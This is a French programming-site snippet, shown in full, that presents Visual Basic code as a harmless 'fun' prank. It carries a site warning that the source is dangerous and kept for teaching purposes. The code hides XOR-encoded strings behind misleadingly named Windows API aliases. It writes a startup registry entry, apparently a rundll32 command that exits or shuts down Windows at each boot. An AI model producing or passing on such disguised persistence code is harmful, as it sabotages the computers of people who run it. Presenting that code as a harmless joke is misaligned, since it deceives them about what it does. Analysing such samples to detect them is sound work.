Code amusant

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants!

Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!

Source / Exemple : 


Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
            (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
            (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
            ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
            (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
 dwOSVersionInfoSize As Long
 dwMajorVersion As Long
 dwMinorVersion As Long
 dwBuildNumber As Long
 dwPlatformId As Long
 szCSDVersion As String * 128
End Type

Private Sub Form_Load()
 Call BuildApp
 MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
                                    LaGrandeVerite$("Dv#Kpo)&'")
 End
End Sub

Function LaGrandeVerite$(LeText$)
 a$ = ""
 For i = 1 To Len(LeText$)
  LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
  a$ = a$ + Chr$(LeCar)
 Next i
 LaGrandeVerite$ = a$
End Function

Sub BuildApp()
 Dim Resultat As Long
 Dim Ident As Long
 
 Resultat = 0
 Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
                                    "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
 Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
 If Resultat = 0 Then
  LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
  If GreatPlaceToLive = 2 Then
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                                      "==<BerdXybk|Xnhiqq")
  Else
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                              Chr$(34) + "\gpb^{`erZlnoss")
  End If
  Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
 End If
End Sub

Function GreatPlaceToLive()
 Dim Here As OSVERSIONINFO
 Here.dwOSVersionInfoSize = Len(Here)
 Call MaisOuJeSuis(Here)
 GreatPlaceToLive = Here.dwPlatformId
End Function

Conclusion :


Oh... ça marche même sous windows 2000!

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Mémère)